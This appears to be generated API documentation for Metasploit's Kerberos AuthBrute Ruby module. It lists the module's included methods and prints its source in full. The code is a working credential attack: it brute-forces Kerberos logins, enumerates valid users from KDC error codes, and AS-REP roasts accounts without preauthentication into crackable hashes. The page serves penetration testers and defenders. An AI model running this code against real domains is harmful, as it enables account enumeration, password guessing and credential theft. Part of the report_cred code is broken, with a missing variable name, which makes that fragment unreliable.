Module: Msf::Exploit::Remote::Kerberos::AuthBrute

Includes:
Auxiliary::AuthBrute, Auxiliary::Report, Auxiliary::Scanner, Client
Defined in:
lib/msf/core/exploit/remote/kerberos/auth_brute.rb

Constant Summary

Constants included from Client

Client::NEG_TOKEN_ACCEPT_COMPLETED, Client::NEG_TOKEN_ACCEPT_INCOMPLETE, Client::NEG_TOKEN_REJECT, Client::NEG_TOKEN_REQUEST_MIC, Client::TOK_ID_KRB_AP_REP, Client::TOK_ID_KRB_AP_REQ, Client::TOK_ID_KRB_ERROR

Constants included from Client::ApRequest

Client::ApRequest::AP_MUTUAL_REQUIRED, Client::ApRequest::AP_USE_SESSION_KEY

Instance Attribute Summary

Attributes included from Client

#client, #kerberos_client

Instance Method Summary collapse

Methods included from Auxiliary::AuthBrute

#adjust_credentials_by_max_user, #build_brute_message, #build_credential_collection, #build_credentials_array, #cleanup_files, #combine_users_and_passwords, #counters_expired?, #each_ntlm_cred, #each_password_cred, #each_ssh_cred, #each_user_pass, #each_username_cred, #extract_word_pair, #extract_word_pair_from_memory, #extract_words, #gen_blank_passwords, #gen_user_as_password, #get_object_from_memory_location, #initialize_class_variables, #just_uniq_passwords, #just_uniq_users, #load_password_vars, #load_user_vars, #prepend_chosen_password, #prepend_chosen_username, #prepend_db_creds?, #prepend_db_hashes, #prepend_db_keys, #prepend_db_passwords, #prepend_db_usernames, #print_brute, #process_cred_for_collection, #proto_from_fullname, #setup, #translate_proto_datastores, #tried_over_total, #userpass_interval, #userpass_sleep_interval, #vprint_brute, #vprint_error, #vprint_good, #vprint_status

Methods included from Auxiliary::LoginScanner

#configure_login_scanner

Methods included from Auxiliary::Report

#active_db?, #create_cracked_credential, #create_credential, #create_credential_and_login, #create_credential_login, #db, #db_warning_given?, #get_client, #get_host, #inside_workspace_boundary?, #invalidate_login, #mytask, #myworkspace, #myworkspace_id, #report_auth_info, #report_client, #report_exploit, #report_host, #report_loot, #report_note, #report_service, #report_vuln, #report_web_form, #report_web_page, #report_web_site, #report_web_vuln, #store_cred, #store_local, #store_loot

Methods included from Metasploit::Framework::Require

optionally, optionally_active_record_railtie, optionally_include_metasploit_credential_creation, #optionally_include_metasploit_credential_creation, optionally_require_metasploit_db_gem_engines

Methods included from Auxiliary::Scanner

#add_delay_jitter, #check, #fail_with, #has_check?, #has_fatal_errors?, #peer, #run, #scanner_handle_fatal_errors, #scanner_progress, #scanner_show_progress, #seppuko!

Methods included from Client

#cleanup, #connect, #disconnect, #framework_module, #peer, #proxies, #rhost, #rport, #select_cipher, #send_request_as, #send_request_tgs, #send_request_tgt, #send_request_tgt_pkinit, #timeout

Methods included from Client::Pkinit

#build_dh, #build_pa_pk_as_req, #calculate_shared_key, #extract_user_and_realm, #k_truncate, #sign_auth_pack

Methods included from Client::Pac

#build_empty_auth_data, #build_pa_pac_request, #build_pac, #build_pac_authorization_data

Methods included from Client::TgsResponse

#decrypt_kdc_tgs_rep_enc_part, #extract_kerb_creds

Methods included from Client::TgsRequest

#build_ap_req, #build_authenticator, #build_enc_auth_data, #build_pa_for_user, #build_subkey, #build_tgs_body_checksum, #build_tgs_request, #build_tgs_request_body

Methods included from Client::AsResponse

#decrypt_kdc_as_rep_enc_part, #extract_logon_time, #extract_session_key, #format_as_rep_to_john_hash

Methods included from Client::AsRequest

#build_as_pa_time_stamp, #build_as_request, #build_as_request_body

Methods included from Client::ApRequest

#build_service_ap_request, #encode_gss_kerberos_ap_request, #encode_gss_spnego_ap_request

Methods included from Client::Base

#build_client_name, #build_server_name

Instance Method Details

#attempt_kerberos_loginsObject



29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
# File 'lib/msf/core/exploit/remote/kerberos/auth_brute.rb', line 29

def attempt_kerberos_logins
  domain = datastore['DOMAIN'].upcase
  print_status("Using domain: #{domain} - #{peer}...")

  cred_collection = build_credential_collection(
    username: datastore['USERNAME'],
    password: datastore['PASSWORD'],
    realm: domain,
  )

  # If there are credential pairs due to no password/password list being supplied, default to using nil passwords to attempt AS-REP roasting
  if cred_collection.empty?
    cred_collection.nil_passwords = true
  end

  attempted_users = Set.new
  scanner = ::Metasploit::Framework::LoginScanner::Kerberos.new(
    host: self.rhost,
    port: self.rport,
    proxies: datastore['Proxies'],
    server_name: "krbtgt/#{domain}",
    cred_details: cred_collection,
    stop_on_success: datastore['STOP_ON_SUCCESS'],
    connection_timeout: datastore['Timeout'],
    framework: framework,
    framework_module: self,
  )

  scanner.scan! do |result|
    user = result.credential.public
    password = result.credential.private
    peer = result.host
    proof = result.proof

    case result.status
    when Metasploit::Model::Login::Status::SUCCESSFUL
      case proof
      when Rex::Proto::Kerberos::Model::Error::KerberosError
        print_good("#{peer} - User found: #{format_user(user)} with password #{password}, but no ticket received (#{proof})")
        report_cred(user: user, password: password)
      when Msf::Exploit::Remote::Kerberos::Model::TgtResponse
        hash = format_as_rep_to_john_hash(proof.as_rep)

        # Accounts that have 'Do not require Kerberos preauthentication' enabled, will receive an ASREP response with a
        # ticket present without requiring a password. This can be cracked offline.
        if proof.decrypted_part.nil?
          print_good("#{peer} - User: #{format_user(user)} does not require preauthentication. Hash: #{hash}")
        else
          print_good("#{peer} - User found: #{format_user(user)} with password #{password}. Hash: #{hash}")
          ccache = Rex::Proto::Kerberos::CredentialCache::Krb5Ccache.from_responses(result.proof.as_rep, result.proof.decrypted_part)
          Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ccache, host: rhost, framework_module: self)
        end
        report_cred(user: user, password: password, asrep: hash)
      else
        print_good("#{peer} - User found: #{format_user(user)} with password #{password}.")
        report_cred(user: user, password: password)
      end
    when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
      print_error("#{peer} - User: #{format_user(user)} - Unable to connect - #{proof}")

    when Metasploit::Model::Login::Status::INCORRECT, Metasploit::Model::Login::Status::INVALID_PUBLIC_PART
      if proof.error_code == Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_WRONG_REALM
        print_error("#{peer} - User: #{format_user(user)} - #{proof}. Domain option may be incorrect. Aborting...")
        # Stop further requests entirely
        break
      elsif proof.error_code == Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_PREAUTH_REQUIRED
        print_good("#{peer} - User: #{format_user(user)} is present")
        report_cred(user: user)
      elsif proof.error_code == Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_PREAUTH_FAILED
        # If we haven't seen this user before, output that the user is present
        if !attempted_users.include?(user)
          attempted_users << user
          print_good("#{peer} - User: #{format_user(user)} is present")
          report_cred(user: user)
        else
          vprint_status("#{peer} - User: #{format_user(user)} wrong password #{password}")
        end
      elsif proof.error_code == Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_CLIENT_REVOKED
        print_error("#{peer} - User: #{format_user(user)} account disabled or locked out")
      elsif proof.error_code == Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_C_PRINCIPAL_UNKNOWN
        vprint_status("#{peer} - User: #{format_user(user)} user not found")
      else
        vprint_status("#{peer} - User: #{format_user(user)} - #{proof}")
      end
    when Metasploit::Model::Login::Status::LOCKED_OUT
      print_error("#{peer} - User: #{format_user(user)} account locked out")
    when Metasploit::Model::Login::Status::DISABLED
      print_error("#{peer} - User: #{format_user(user)} account disabled or expired")
    when Metasploit::Model::Login::Status::DENIED_ACCESS
      print_error("#{peer} - User: #{format_user(user)} account unable to log in")
    else
      print_error("#{peer} - User: #{format_user(user)} #{proof}")
    end
  end
end

#initialize(info = {}) ⇒ Object



13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# File 'lib/msf/core/exploit/remote/kerberos/auth_brute.rb', line 13

def initialize(info = {})
  super

  register_options(
    [
      Msf::OptString.new('DOMAIN', [true, 'The Domain Eg: demo.local'])
    ]
  )

  register_advanced_options(
    [
      Msf::OptInt.new('Timeout', [true, 'Maximum number of seconds to establish a TCP connection', 20])
    ]
  )
end

#report_cred(opts) ⇒ Object



125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
# File 'lib/msf/core/exploit/remote/kerberos/auth_brute.rb', line 125

def report_cred(opts)
  domain = datastore['DOMAIN'].upcase

  service_data = {
    address: rhost,
    port: rport,
    protocol: 'tcp',
    workspace_id: myworkspace_id,
    service_name: 'kerberos',
    realm_key: ::Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
    realm_value: domain
  }

  credential_data = {
    username: opts[:user],
    origin_type: :service,
    module_fullname: fullname
  }.merge(service_data)

  # TODO: Confirm if we should store both passwords and asrep accounts as two separate logins or not
  if opts[:password]
    credential_data.merge!(
      private_data: opts[:password],
      private_type: :password
    )
  elsif opts[:asrep]
    credential_data.merge!(
      private_data: opts[:asrep],
      private_type: :nonreplayable_hash,
      jtr_format: 'krb5'
    )
  end

   = {
    core: create_credential(credential_data),
    status: Metasploit::Model::Login::Status::UNTRIED
  }.merge(service_data)

  ()
end